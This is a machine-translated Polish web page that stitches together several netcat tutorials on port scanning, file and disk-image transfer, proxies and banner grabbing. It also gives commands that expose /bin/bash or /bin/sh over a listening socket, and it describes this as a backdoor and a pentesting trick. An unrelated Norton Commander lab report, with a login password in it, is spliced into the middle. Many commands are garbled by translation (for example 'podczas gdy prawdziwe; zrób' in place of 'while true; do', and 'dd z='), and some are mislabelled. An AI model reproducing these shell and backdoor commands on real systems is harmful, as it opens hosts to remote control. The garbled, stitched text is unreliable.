Okna.  Wirusy.  Laptopy.  Internet.  Biuro.  Narzędzia.  Kierowcy

Oryginał: Przydatne przykłady netcat w systemie Linux
Autor: Dan Nanni
Data publikacji: 27 stycznia 2014 r
Tłumaczenie: A. Panin
Data tłumaczenia: 7 września 2016 r

Powszechnie nazywany „ szwajcarski nóż„w przypadku sieci TCP/IP narzędzie jest niezwykle elastycznym narzędziem, które pozwala zrobić prawie wszystko możliwe działania z gniazdami TCP/UDP w systemie Linux. Jest to jedno z najpopularniejszych narzędzi do diagnozowania i eksperymentowania z sieciami wśród administratorów systemów.

Należy pamiętać, że podczas używania nc do akceptowania połączeń na znanych portach usługi sieciowe(0-1023) będziesz potrzebować uprawnień roota. We wszystkich pozostałych przypadkach wystarczą zwykłe uprawnienia użytkownika, aby nc działał poprawnie.

1. Sprawdzanie, czy na zdalnym hoście jest określony otwarty port TCP

$ nc -vn 192.168.233.208 5000 nc: połączenie z 192.168.233.208 5000 (tcp) nie powiodło się: Połączenie odrzucone $ nc -v 192.168.233.208 22 Połączenie z portem 192.168.233.208 22 powiodło się! SSH-2.0-OpenSSH_6.0p1 Debian-4

2. Wysyłanie pakietu testowego UDP do zdalnego hosta

Poniższe polecenie ma na celu wysłanie pakietu testowego UDP z opóźnieniem 1 sekundy do portu 5000 zdalnego hosta o podanym adresie.

$ echo -n "foo" | nc -u -w1 192.168.1.8 5000

3. Skanowanie portów TCP na zdalnym hoście

Poniższe polecenie ma na celu skanowanie portów z zakresów i wyświetlanie listy otwartych portów.

$ nc -vnz -w 1 192.168.233.208 1-1000 2000-3000

4. Skopiuj plik (na przykład mój.jpg) z hosta o nazwie hostA.com do hosta o nazwie hostB.com

$ nc -lp 5000 > mój.jpg

$nc hostB.com 5000< my.jpg

5. Przeniesienie katalogu (wraz z całą zawartością) z węzła hostA.com do węzła hostB.com

Na hoście o nazwie hostB.com (host):

$ nc -l 5000 | tar xvf -

Na hoście o nazwie hostA.com (strona wysyłająca):

$ tar cvf - /ścieżka/do/katalog | nc hostB.com 5000

6. Skanowanie portów UDP na zdalnym hoście

$ nc -vnzu 192.168.1.8 1-65535 Połączenie z portem 192.168.1.8 68 powiodło się! Połączenie z portem 192.168.1.8 5353 powiodło się! Połączenie z portem 192.168.1.8 16389 powiodło się! Połączenie z portem 192.168.1.8 38515 powiodło się! Połączenie z portem 192.168.1.8 45103 powiodło się!

Powyższe polecenie pozwala wyświetlić listę otwartych, nasłuchujących portów UDP na zdalnym serwerze.

7. Oczekiwanie na dane na porcie UDP i wysyłanie odebranych danych w formacie tekstowym

Poniższe polecenie pozwala na odbieranie komunikatów (lini tekstu) na danym porcie UDP.

$ nc -u host lokalny 5000

Proszę to zanotować to polecenie zakończy się natychmiast po otrzymaniu pierwszej wiadomości. Jeśli chcesz otrzymać serię wiadomości, będziesz musiał skorzystać pętla while w następujący sposób:

$ podczas gdy prawdziwe; do nc -u localhost 5000; zrobione

8. Zapisywanie (skompresowanego) pliku obrazu dysku twardego (np. /dev/sdb) na zdalnym serwerze

Na zdalnym serwerze:

$nc -lp 5000 | sudo dd z=/backup/sdb.img.gz

W węźle lokalnym, w którym jest zainstalowany dysk twardy:

$ dd if=/dev/sdb | gzip -c | nc zdalny_serwer.com 5000

9. Odzyskiwanie zawartości dysku twardego ze skompresowanego pliku obrazu przechowywanego na zdalnym serwerze

W węźle lokalnym:

$nc -lp 5000 | gunzip -c | sudo dd z=/dev/sdb

Na zdalnym serwerze, na którym zapisany jest plik obrazu twardy dysk(na przykład /backup/sdb.img.gz):

$ cat /backup/sdb.img.gz | nc mój_lokalny_host.com 5000

10. Przesyłanie statycznej strony internetowej podobnej do serwera WWW

Uruchom poniższe polecenie, aby uruchomić serwer WWW, który będzie udostępniał stronę internetową o nazwie test.html klientom łączącym się z portem 8000.

$ podczas gdy prawdziwe; zrób nc -lp 8000< test.html; done

Teraz sprawdź dostępność strony internetowej korzystając z przeglądarki internetowej i przejdź pod adres: http:// :8000/test.html . Pamiętaj, że aby używać standardowego portu serwera WWW o numerze 80, będziesz musiał uruchomić nc z uprawnieniami użytkownika zrootuj dalej sposób:

$ podczas gdy prawdziwe; wykonaj sudo nc -lp 80< test.html; done

11. Organizowanie niezabezpieczonego czatu pomiędzy dwoma węzłami

W pierwszym węźle (192.168.233.203):

$nc -lp 5000

W drugim węźle:

$nc 192.168.233.203 5000

Po wykonaniu powyższych dwóch poleceń wszystkie znaki wprowadzone w oknie terminala na którymkolwiek z węzłów pojawią się w oknie terminala drugiego węzła.

12. Uruchomienie „zdalnej powłoki poleceń”, która umożliwia wykonywanie dowolnych poleceń na zdalnym węźle podczas pracy z węzłem lokalnym

Na zdalnym węźle (192.168.233.208):

$ nc -lp 5000 -e /bin/bash

W węźle lokalnym:

$nc 192.168.233.208 5000

Po uruchomieniu powyższego polecenia na hoście lokalnym będziesz mógł wykonywać dowolne polecenia na hoście zdalnym za pośrednictwem okna terminala hosta lokalnego. Polecenia zostaną wykonane na węźle zdalnym, a dane wyjściowe tych poleceń pojawią się w oknie terminala węzła lokalnego. Podejście to można wykorzystać do utworzenia backdoora na zdalnym hoście.

13. Utwórz serwer proxy dla określonej witryny internetowej (np. google.com)

$ mkfifo proxypipe $ podczas gdy prawdziwe; zrób nc -l 5000 0 Potok proxy; zrobione

Powyższe polecenia umożliwiają utworzenie potoku proxy o nazwie potok i użycie narzędzia nc do przekierowania wszystkich połączeń Protokół TCP z lokalnego portu hosta 5000 do witryny internetowej http://www.google.com za pośrednictwem kanału dwukierunkowego. Po uruchomieniu tych poleceń będziesz mógł się dostać strona główna wyszukiwarka Systemy Google’a, wchodząc pasek adresu adres przeglądarki internetowej http://127.0.0.1:5000.

14. Utwórz serwer proxy SSL dla konkretnej witryny (np. google.com)

$ mkfifo proxypipe $ mkfifo proxypipe2 $ nc -l 5000 -k > proxypipe< proxypipe2 & $ while true do; openssl s_client -connect www.google.com:443 -quiet < proxypipe >proxypipe2; zrobione

Powyższe polecenia umożliwiają użycie narzędzia nc do utworzenia serwera proxy obsługującego Protokół SSL, który umożliwia połączenie z witryną google.com.

15. Przesyłanie strumieniowe pliku wideo z serwera i przeglądanie go za pomocą odtwarzacza mplayer na komputerze klienckim

Na serwerze strumieniowego przesyłania wideo (192.168.233.208):

$ kot wideo.avi | nc -l 5000

W systemie klienta:

$nc 192.168.233.208 5000 | mplayer -vo x11 -pamięć podręczna 3000 -

16. Akceptuj połączenia TCP na określonym porcie przy użyciu adresu IPv6

Poniższe polecenia pozwalają narzędziu nc używać adresu IPv6 podczas akceptowania połączeń na porcie TCP. Może to być konieczne w procesie testowania poprawności ustawień adresacji IPv6 w sieci.

$ nc -6 -l 5000 $ sudo netstat -nap | grep 5000 tcp6 0 0:::5000:::* SŁUCHAJ 4099/nc

Jeśli artykuł Ci się spodobał, udostępnij go swoim znajomym:

Wyświetlenie testowej strony HTML klientowi za pomocą zwykłej przeglądarki za pomocą jednego polecenia (port 8080):
(echo -e "HTTP/1.1 200 OK\nTyp zawartości: tekst/html\n\n Witaj świecie";) | nc -vv -l -p 8080
Przesyłanie pliku do klienta za pomocą zwykłej przeglądarki za pomocą jednego polecenia (port 8080):
(echo -e "HTTP/1.1 200\nRozmieszczenie zawartości: załącznik; nazwa pliku=nazwa-docelowa-którą-klient-zobaczy\nTyp zawartości: aplikacja/octet-stream\nPołączenie: zamknij\n"; cat nazwa pliku- na dysku) | nc -vv -l -p 8080

Jak korzystać z nc?

(http://handynotes.ru/2010/01/unix-utility-netcat.html )

Zacznijmy od kilku prostych przykładów, a następnie wykorzystajmy je jako podstawowe.
Jeśli pamiętasz, mówiłem, że netcat to szwajcarski scyzoryk. Czym byłby ten nóż, gdyby nie można go było używać jak zwykłego noża? Dlatego zamiast zwykłego telnetu można używać netcat:

$nc www.google.com 80

W rzeczywistości jest to wygodniejsze niż zwykły telnet, ponieważ możesz zakończyć połączenie w dowolnym momencie, naciskając Ctrl+C, a dane binarne są traktowane normalnie (bez sekwencji ucieczki, nic).
Możesz dodać opcję -v, aby wyświetlić bardziej szczegółowo wyniki działań, oraz opcję (-vv), aby uzyskać statystyki dotyczące liczby bajtów przesłanych podczas bieżącej sesji połączenia.
Netcat może być używany jako serwer. Jeśli uruchomisz go jak poniżej, będzie nasłuchiwał na porcie 12345 (na wszystkich interfejsach):

$ nc -l -p 12345

Teraz, jeśli połączysz się z portem 12345 tego hosta, wszystko, co wpiszesz, zostanie wysłane na stronę zdalną, co powie nam, że netcat może być używany jako serwer czatu. Uruchom na jednym z komputerów:

# Na komputerze A z adresem IP 10.10.10.10
$ nc -l -p 12345

I połącz się z nim z innego:

# Na komputerze B
$nc 10.10.10.10 12345

Teraz obie strony mogą rozmawiać!
Ten sposób rozmowy, w którym obie strony mogą ze sobą rozmawiać, umożliwia wykorzystanie nc do operacji we/wy w sieci! Na przykład możesz wysłać cały katalog z jednego komputera na drugi, uruchamiając potok tar przez nc na pierwszym komputerze i przekierowując dane wyjściowe do innego procesu tar na drugim.
Załóżmy, że chcesz wysłać pliki z katalogu /data komputera A o adresie IP 192.168.1.10 do komputera B (o dowolnym adresie IP). To proste:


$tar -cf - /dane | nc -l -p 6666


# Na komputerze B
$nc 192.168.1.10 6666 | tar -xf -

Nie zapomnij połączyć potoku z przeglądarką Pipe Viewer, co zostało opisane w poprzednim artykule, aby zobaczyć statystyki dotyczące szybkości przesyłania!
Pojedynczy plik można przesłać prościej:

# Na komputerze A z adresem IP 192.168.1.10
$ plik kota | nc -l -p 6666


# Na komputerze B
$nc 192.168.1.10 6666 > plik

Możesz nawet skopiować i przywrócić cały dysk za pomocą nc:

# Na komputerze A z adresem IP 192.168.1.10
$ kot /dev/hdb | nc -l -p 6666


# Na komputerze B
$ nc 192.168.1.10 6666 > /dev/hdb

Uwaga: opcji „-l” nie można używać w połączeniu z opcją „-p” na komputerach Mac! Rozwiązaniem jest po prostu zastąpienie „-l -p 6666? do „-l 6666?. Jak tutaj:

# teraz nc nasłuchuje na porcie 6666 Komputery Mac
$nc -l 6666

Powszechnym zastosowaniem netcat jest skanowanie portów. Netcat nie jest najlepszym narzędziem do tego rodzaju pracy, ale spełnia swoje zadanie (najlepszy jest oczywiście nmap):

$ nc -v -n -z -w 1 192.168.1.2 1-1000
(NIEZNANE) 445 (microsoft-ds) otwarte
(NIEZNANY) 139 (netbios-ssn) otwarty
(NIEZNANY) 111 (sunrpc) otwarty
(NIEZNANA) 80 (www) otwarta
(NIEZNANA) 25 (smtp): Przekroczono limit czasu połączenia
(NIEZNANE) 22 (ssh) otwarte

Opcja -n zapobiega wyszukiwaniom DNS, -z nie czeka na odpowiedź z serwera, a -w 1? ustawia limit czasu połączenia na 1 sekundę.
Innym nietrywialnym zastosowaniem netcat jest działanie jako serwer proxy. Można przekierować zarówno port, jak i host. Spójrz na ten przykład:

$ nc -l -p 12345 | nc www.google.com 80

To polecenie uruchamia nc na porcie 1234 i przekierowuje wszystkie połączenia do google.com:80. Jeśli teraz połączysz się z tym komputerem na porcie 12345 i złożysz żądanie, okaże się, że w odpowiedzi nie otrzymasz żadnych danych. Jest to poprawne, ponieważ nie ustanowiliśmy kanału dwukierunkowego. Jeśli dodasz drugi kanał, będziesz otrzymywać dane na innym porcie:

$ nc -l -p 12345 | nc www.google.com 80 | nc -l -p 12346

Po wysłaniu żądania na port 12345 odbierz dane odpowiedzi na porcie 12346.
Prawdopodobnie najpotężniejszą funkcją netcat jest uruchomienie dowolnego procesu jako serwera:

$ nc -l -p 12345 -e /bin/bash

Opcja -e powoduje przekierowanie wejścia i wyjścia przez gniazdo sieciowe. Teraz, jeśli połączysz się z hostem na porcie 12345, możesz użyć basha:
$nc host lokalny 12345
ls-las
razem 4288
4 drwxr-xr-x 15 użytkowników pkrumins 4096 2009-02-17 07:47 .
4 drwxr-xr-x 4 użytkowników pkrumins 4096 2009-01-18 21:22 ..
8 -rw——- 1 pkrumins użytkowników 8192 2009-02-16 19:30 .bash_history
4 -rw-r—r— 1 pkrumins użytkowników 220 2009-01-18 21:04 .bash_logout

(http://execbit.ru/2011/05/23/netcat/)
1 Prześlij pliki (pierwsze polecenie wykonujemy na maszynie odbierającej, drugie na maszynie wysyłającej:

$ nc -l 31334 > nazwa pliku $ nc 172.16.69.143 31334< filename

$ nc -f /var/log/wiadomości | nc -l 31334 $ nc 172.16.69.143 31334

3 Użyj zamiast telnet (pierwszy to serwer telnet, drugi to klient):

$ nc -l -p 31334 -e /bin/sh $ nc 172.16.69.143 31334

4 Skanuj, aby otworzyć porty:

$ nc -z execbit.ru 1-1024

5 usług Fingerprint opartych na banerach:

$ echo "WYJDŹ" | nc execbit.ru 1-1024

6 Zorganizuj odwrotną powłokę (pierwsza to klient, druga to serwer, ale powłoka będzie otwierana z serwera na klienta).

Katedra Projektowania Dróg

Praca laboratoryjna nr 1

na kursie „Informatyka”

Wypełnił uczeń grupy nr 114359 Raikhman Sergey Yurievich

Sprawdzony

Praca laboratoryjna nr 1

Temat: Narzędzie Norton Commander

Cel: Naucz się sterować komputerem za pomocą programu Norton Commander

Norton Commander umożliwia wykonywanie następujących funkcji: 1) wykonywanie funkcji MS-DOS, 2) wyświetlanie zawartości katalogów na dyskach, 3) wyświetlanie drzewa katalogów na dysku, 4) przeglądanie plików, 5) edycja plików tekstowych, 6 ) kopiować, przenosić, zmieniać nazwy, usuwać pliki, 7) zmieniać atrybuty plików.

Początek Dowódca Nortona

Aby uruchomić Norton Commander, musisz wpisać wiersz poleceń„nc” i naciśnij „Enter”. Wyjdź z programu Norton Commander — F10 lub ALT+X

Widok ekranu i paneli

Po uruchomieniu programu Norton Commander na ekranie pojawiają się dwa prostokątne okna (panele).


Poniżej tych paneli znajduje się zachęta MS-DOS i linia informacyjna ze znaczeniem klawiszy funkcyjnych.

POMOC F1 – krótka informacja o przypisaniu kluczy podczas obsługi NC.

F2 MENU – menu użytkownika

F3 WIDOK – przeglądanie plik tekstowy, dokument

F4 EDIT – edycja pliku tekstowego

F5 KOPIUJ – kopiuje pliki

F6 RENMOV – dalej, zmiana nazwy pliku

F7 MKDIR – tworzenie katalogu (podkatalogów)

F8 DELETE – usuwanie plików lub podkatalogów

F9 PULL DN – w górnej linii ekranu wyświetlane są menu zawierające tryby pracy NC.

F10 WYJDŹ – wyjście NC

Menu po naciśnięciu klawisza F9

Lewy i prawy – ustaw tryb wyświetlania informacji na lewym i prawym panelu

Pliki – na plikach wykonywane są różne operacje

Polecenia - wykonane różne polecenia NC, ustawia konfigurację NC i tryby pracy.

Podświetlona jest jedna z pozycji menu; aby wybrać inną pozycję, użyj strzałek<¬>, <­>, <®>, <¯>i naciśnij klawisz „Enter”.

Wybieranie plików

Aby skopiować, usunąć lub przenieść pliki, należy je zaznaczyć, naciskając klawisz Ins. Aby anulować wybór, naciśnij ponownie „Ins”. Na dole panelu pojawia się informacja o liczbie wybranych plików.

Tworzenie katalogu

Aby utworzyć katalog, naciśnij klawisz „F7”, wpisz jego nazwę i naciśnij „Enter”.

Aby wejść do katalogu należy nacisnąć klawisz „Enter” przy jego nazwie. Po naciśnięciu klawiszy „ALT+F10” na ekranie wyświetlane jest drzewo katalogów. Za pomocą klawiszy kursora można szybko przejść do żądanego podkatalogu.

Podstawowe klawisze NC

TAB – przejście do innego panelu

ALT+F1 – wyjście w lewym panelu spisu zawartości innego dysku.

ALT+F2 – wyjście w prawym panelu spisu zawartości innego dysku

CTRL+F1 – usuń lewy panel z ekranu

CTRL+F2 – usuń prawy panel z ekranu

CTRL+O – usuń oba panele

CTRL+U – zamień panele

Aby uruchomić komputer, w wierszu zachęty wpisz „LOGIN” i wprowadź hasło (335_2).

Zadania laboratoryjne

Za pomocą poleceń utwórz strukturę podkatalogów na dysku:


nc [-46bCDdhklnrStUuvZz] [-I długość] [-I interwał] [-O długość] [-P nazwa_użytkownika proxy] [-P Port źródłowy] [-Q sekundy] [-S źródło] [-T tosłowo kluczowe] [-V rtable] [-w koniec czasu] [-X protokół_proxy] [-X adres_proxy[:Port]] [miejsce docelowe] [Port]

Opcje

-4 Siły nc używać wyłącznie adresów IPv4.
-6 Siły nc używać wyłącznie adresów IPv6.
-B Zezwól na transmisję.
-C Wyślij jako zakończenie linii.
-D Włącz debugowanie w gnieździe.
-D Nie próbuj czytać ze standardowego wejścia.
-H Drukuje pomoc nc.
-I długość Określa rozmiar bufora odbiorczego TCP.
-I interwał Określa odstęp czasu opóźnienia pomiędzy wysłanymi i odebranymi wierszami tekstu. Powoduje również opóźnienie między połączeniami z wieloma portami.
-k Siły nc aby nasłuchiwać innego połączenia po zakończeniu bieżącego połączenia. Używanie tej opcji bez opcji jest błędem -l opcja.
-l Służy do określenia tego nc powinien nasłuchiwać połączenia przychodzącego, a nie inicjować połączenie ze zdalnym hostem. Używanie tej opcji w połączeniu z -P, -S, Lub -z opcje. Ponadto wszelkie limity czasu określone za pomocą -w opcje są ignorowane.
-N Nie wykonuj żadnych wyszukiwań DNS ani usług dla określonych adresów, nazw hostów ani portów.
-O długość Określa rozmiar bufora wysyłania TCP.
-P nazwa_użytkownika proxy Określa nazwę użytkownika, która ma być prezentowana użytkownikowi Serwer proxy który wymaga uwierzytelnienia. Jeżeli nie określono nazwy użytkownika, próba uwierzytelnienia nie zostanie podjęta. Uwierzytelnianie proxy jest obecnie obsługiwane tylko w przypadku serwerów proxy HTTP CONNECT.
-P Port źródłowy Określa port źródłowy, którego powinien używać nc, z zastrzeżeniem ograniczeń uprawnień i dostępności.
-Q sekundy po EOF na stdin odczekaj określoną liczbę sekund, a następnie wyjdź. Jeśli sekundy są ujemne, poczekaj całą wieczność.
-R Określa, że ​​porty źródłowe lub docelowe powinny być wybierane losowo, a nie sekwencyjnie w zakresie lub w kolejności przypisanej przez system.
-S Włącza opcję podpisu RFC 2385 TCP MD5.
-S źródło Określa interfejs używany do wysyłania pakietów. W przypadku gniazd datagramów domeny UNIX określa lokalny tymczasowy plik gniazda, który ma zostać utworzony i używany, aby można było odbierać datagramy. Używanie tej opcji w połączeniu z -l opcja.
-T tosłowo kluczowe Zmień wartość TOS protokołu IPv4. tosłowo kluczowe może być jednym z krytyczny, kontrola inet, niska cena, niskie opóźnienie, kontrola sieci, wydajność, niezawodność lub jeden z punktów kodowych DiffServ: ef, af11 ... af43, cs0 ... cs7; lub liczbę w formacie szesnastkowym lub dziesiętnym.
-T Powoduje nc do wysyłania odpowiedzi RFC 854 DON"T i WON"T na żądania RFC 854 DO i WILL. Dzięki temu możliwe jest użycie nc do skryptowania sesji telnet.
-U Określa użycie gniazd domeny UNIX.
-ty Użyj UDP zamiast domyślnej opcji TCP. W przypadku gniazd domeny UNIX użyj gniazda datagramu zamiast gniazda strumieniowego. Jeśli używane jest gniazdo domeny UNIX, w /tmp tworzone jest tymczasowe gniazdo odbiorcze, chyba że plik -S flaga jest podana.
-V rtable Ustaw tablicę routingu, która ma być używana. Wartość domyślna to 0.
-w Mieć nc podaj bardziej szczegółowe dane wyjściowe.
-w koniec czasu Połączenia, których nie można nawiązać lub których czas bezczynności upłynął po upływie kilku sekund. The -w Flaga nie ma wpływu na -l opcja, tj. nc będzie nasłuchiwać wiecznie pod kątem połączenia, z lub bez -w flaga. Wartość domyślna to brak limitu czasu.
-X protokół_proxy Żąda, aby nc używał określonego protokołu podczas komunikacji z serwerem proxy. Obsługiwane protokoły to „ 4 " (SKARPETKI v.4) " 5 „ (SKARPETKI v.5) i „ łączyć" (proxy HTTPS). Jeśli protokół nie jest określony, używana jest wersja SOCKS 5.
-X adres_proxy[:port] Żąda tego nc powinien połączyć się z miejscem docelowym za pomocą serwera proxy pod adresem adres_proxy I Port. Jeśli Port nie jest określony, używany jest dobrze znany port protokołu proxy (1080 dla SOCKS, 3128 dla HTTPS).
-Z Tryb DCCP.
-z Określa, że ​​nc powinien skanować tylko w poszukiwaniu demonów nasłuchujących, bez wysyłania do nich żadnych danych. Używanie tej opcji w połączeniu z -l opcja.

miejsce docelowe może być numerycznym adresem IP lub symboliczną nazwą hosta (chyba że -N opcja jest podana). Ogólnie rzecz biorąc, należy określić miejsce docelowe, chyba że -l podana jest opcja (w tym przypadku używany jest host lokalny). W przypadku gniazd domeny UNIX wymagane jest miejsce docelowe i jest to ścieżka gniazda, z którą można się połączyć (lub nasłuchiwać, jeśli plik -l opcja jest podana).

port może być pojedynczą liczbą całkowitą lub zakresem portów. Zakresy są w formie nn-mm. Ogólnie rzecz biorąc, należy określić port docelowy, chyba że -U opcja jest podana.

Model klient/serwer

Zbudowanie bardzo prostego modelu klient/serwer przy użyciu jest dość proste nc. Rozpocznij na jednej konsoli nc nasłuchuje połączenia na określonym porcie. Na przykład:

Nc-l 1234

nc nasłuchuje teraz na porcie 1234 dla połączenia. Na drugiej konsoli (lub drugiej maszynie) połącz się z maszyną i portem, na którym nasłuchujesz:

Nc 127.0.0.1 1234

Powinno teraz istnieć połączenie między portami. Wszystko, co zostanie wpisane na drugiej konsoli, zostanie połączone z pierwszą i odwrotnie. Po zestawieniu połączenia, nc tak naprawdę nie dba o to, która strona jest używana jako „serwer”, a która jako „klient”. Połączenie może zostać zakończone przy użyciu EOF („ ^D’).

Nie ma -C Lub -mi opcja we współczesnym Netcat, ale nadal możesz wykonać polecenie po nawiązaniu połączenia poprzez przekierowanie deskryptorów plików. Zachowaj ostrożność, ponieważ otwarcie portu i umożliwienie każdemu podłączonemu wykonania dowolnego polecenia w Twojej witrynie jest NIEBEZPIECZNE. Jeśli naprawdę musisz to zrobić, oto przykład:

Po stronie „serwera”:

Rm -f /tmp/f; mkfifo /tmp/f kot /tmp/f | /bin/sh -i 2>&1 | nc -l 127.0.0.1 1234 > /tmp/f

Po stronie „klienta”:

NC host.example.com 1234

(podpowiedź powłoki z host.example.com)

Zacznij od użycia nc nasłuchiwać na określonym porcie, a dane wyjściowe są przechwytywane do pliku:

Nc -l 1234 > nazwapliku.out

Korzystając z drugiej maszyny, połącz się ze słuchaczem nc procesu, podając mu plik, który ma zostać przesłany:

NC host.example.com 1234< filename.in

Po przesłaniu pliku połączenie zostanie automatycznie zamknięte.

Rozmawiam z serwerami

Czasami przydaje się rozmowa z serwerami „ręcznie”, a nie poprzez interfejs użytkownika. Może pomóc w rozwiązywaniu problemów, gdy konieczne może być sprawdzenie, jakie dane serwer wysyła w odpowiedzi na polecenia wydane przez klienta. Na przykład, aby pobrać stronę główną witryny internetowej:

Printf "GET / HTTP/1.0\r\n\r\n" | nc host.example.com 80

Pamiętaj, że wyświetla to również nagłówki wysłane przez sieć serwer. Można je filtrować za pomocą narzędzia takiego jak seda, Jeśli to konieczne.

Bardziej skomplikowane przykłady można zbudować, gdy użytkownik zna format żądań wymaganych przez serwer. Innym przykładem może być przesłanie wiadomości e-mail na serwer SMTP przy użyciu:

Nc [-C] host lokalny 25<< EOF HELO host.example.com MAIL FROM:< >RCPT DO:< >DANE Treść wiadomości e-mail. . WYJDŹ z EOF-a

Skanowanie portów

Przydatna może być informacja, które porty są otwarte i działają usługi na komputerze docelowym. The -z można użyć flagi, aby to powiedzieć nc aby zgłosić otwarte porty, zamiast inicjować połączenie. Zwykle przydatne jest włączenie pełnego wyjścia na stderr, używając tej opcji w połączeniu z -w opcja.

Nc -zv host.example.com 20-30 Połączenie z portem host.example.com 22 powiodło się! Połączenie z portem host.example.com 25 powiodło się!

Określono zakres portów, aby ograniczyć wyszukiwanie do portów 20 - 30 i jest skanowany w kolejności rosnącej.

Możesz także określić listę portów do skanowania, na przykład:

Nc -zv host.example.com 80 20 22 nc: połączenie z hostem.example.com 80 (tcp) nie powiodło się: połączenie odrzucone nc: połączenie z hostem.example.com 20 (tcp) nie powiodło się: połączenie odrzucone Połączenie z hostem.example.com Port .com powiódł się!

Porty są skanowane według podanej kolejności.

Alternatywnie przydatna może być informacja, które oprogramowanie serwera jest uruchomione i w jakich wersjach. Informacje te często znajdują się na banerach z pozdrowieniami. Aby je odzyskać, należy najpierw nawiązać połączenie, a następnie przerwać je po pobraniu banera. Można to osiągnąć poprzez określenie małego limitu czasu za pomocą parametru -w flag, lub być może wydając polecenie „QUIT” serwerowi:

Powtórz „WYJDŹ” | nc host.example.com 20-30 SSH-1.99-OpenSSH_3.6.1p2 Niezgodność protokołu. 220 host.example.com Odbiornik IMS SMTP wersja 0.84 Gotowy

Przykłady

nc -p 31337 -w 5 host.example.com 42

Otwiera połączenie TCP z portem 42 z host.example.com za pomocą portu 31337 jako port źródłowy, z limitem czasu wynoszącym 5 sekundy.

Nc -u host.example.com 53 nc -x10.2.3.4:8080 -Xconnect -Pruser host.example.com 42

Taki sam jak powyższy przykład, ale tym razem z włączeniem uwierzytelniania proxy przy użyciu nazwy użytkownika „ użytkownik", jeśli proxy tego wymaga.

Powiązane polecenia

ifconfig— Wyświetl lub zmodyfikuj konfigurację interfejsów sieciowych.

W tym artykule przyjrzę się popularnemu narzędziu sieciowemu netcat i przydatnym trikom podczas pracy z nim.


Netcat to narzędzie uniksowe, które umożliwia ustanawianie połączeń TCP i UDP, odbieranie stamtąd danych i przesyłanie ich. Pomimo jego użyteczności i prostoty, wielu nie wie, jak z niego korzystać i niezasłużenie go omija.


Za pomocą tego narzędzia możesz wykonać pewne kroki podczas przeprowadzania testów penetracyjnych. Może to być przydatne, gdy zaatakowana maszyna nie ma zainstalowanych pakietów (lub przyciąga uwagę), istnieją ograniczenia (na przykład IoT/urządzenia wbudowane) itp.


Co możesz zrobić z netcat:

  • Skanuj porty;
  • Porty forwardowe;
  • Zbieraj banery usługowe;
  • Nasłuchuj portu (powiązanie dla połączenia zwrotnego);
  • Pobieraj i przesyłaj pliki;
  • Wyprowadź surową zawartość HTTP;
  • Utwórz mini-czat.

Ogólnie rzecz biorąc, za pomocą netcat można zastąpić niektóre narzędzia Uniksa, więc to narzędzie można uznać za rodzaj kombajnu do wykonywania określonych zadań.

Praktyczne przykłady

W wielu przypadkach, jeśli konieczne jest sprawdzenie konkretnego hosta, używają telnetu lub własnych usług serwisowych w celu identyfikacji hosta lub banera. Jak Netcat może nam pomóc:

Sprawdzanie otwartego portu TCP 12345

$ nc -vn 192.168.1.100 12345
nc: połączenie z 192.168.1.100 12345 (tcp) nie powiodło się: połączenie odrzucone

$ nc -v 192.168.1.100 22
Połączenie z portem 192.168.1.100 22 powiodło się!
SSH-2.0-OpenSSH

Skanowanie portów TCP za pomocą netcat:

$ nc -vnz 192.168.1.100 20-24

Przy takim skanowaniu nie będzie połączenia z portem, a jedynie wynik udanego połączenia:


nc: connectx do 192.168.1.100 port 20 (tcp) nie powiodło się: połączenie odrzucone
nc: połączenie z 192.168.1.100 portem 21 (tcp) nie powiodło się: połączenie odrzucone
znaleziono 0 skojarzeń
znaleziono 1 połączenie:
1: flagi=82
outif en0
źródło 192.168.1.100 port 50168
dst 192.168.1.100 port 22
Informacje o rankingu nie są dostępne
Dostępne informacje o urządzeniu dodatkowym TCP
Połączenie z portem 22 192.168.1.100 powiodło się!
nc: connectx do 192.168.1.100 port 23 (tcp) nie powiodło się: połączenie odrzucone
nc: połączenie z 192.168.1.100 portem 24 (tcp) nie powiodło się: połączenie odrzucone

Skanowanie portów UDP.

Aby skanować porty UDP za pomocą nmap, potrzebujesz uprawnień roota. Jeśli ich tam nie ma, w tym przypadku narzędzie netcat może nam również pomóc:


$ nc -vnzu 192.168.1.100 5550-5560
Połączenie z portem 192.168.1.100 5555 powiodło się!

Wysyłanie pakietu UDP

$ echo -n "foo" | nc -u -w1 192.168.1.100 161

Może to być przydatne podczas interakcji z urządzeniami sieciowymi.

Odbieranie danych na porcie UDP i wysyłanie odebranych danych

$ nc -u localhost 7777

Po pierwszym komunikacie wyjście zostanie zatrzymane. Jeśli chcesz zaakceptować wiele wiadomości, musisz użyć while true:


$ podczas gdy prawdziwe; do nc -u localhost 7777; zrobione

Transfer plików. Za pomocą netcat możesz zarówno odbierać pliki, jak i przesyłać je do zdalnego hosta:


nc 192.168.1.100 5555< 1.txt
nc -lvp 5555 > /tmp/1.txt

Netcact jako prosty serwer WWW.

Netcat może działać jako prosty serwer WWW do wyświetlania stron HTML.


$ podczas gdy prawdziwe; zrób nc -lp 8888< index.html; done

Korzystając z przeglądarki pod adresem: http://netcat host:8888/index.html. Aby użyć standardowego portu serwera WWW o numerze 80, będziesz musiał uruchomić nc z uprawnieniami roota:


$ podczas gdy prawdziwe; wykonaj sudo nc -lp 80< test.html; done

Czat między węzłami

W pierwszym węźle (192.168.1.100):


$nc -lp 9000

W drugim węźle:


$nc 192.168.1.100 9000

Po wykonaniu poleceń wszystkie znaki wprowadzone w oknie terminala na dowolnym węźle pojawią się w oknie terminala drugiego węzła.

Odwrócona skorupa

Za pomocą netcat możesz zorganizować wygodną odwrotną powłokę:


nc -e /bin/bash -lp 4444

Teraz możesz połączyć się ze zdalnego hosta:


$nc 192.168.1.100 4444

Nie poddawaj się, jeśli nie masz pewnych narzędzi, często dość uciążliwych, czasami problem można rozwiązać za pomocą improwizowanych środków;

Jeśli zauważysz błąd, zaznacz fragment tekstu i naciśnij Ctrl+Enter
UDZIAŁ: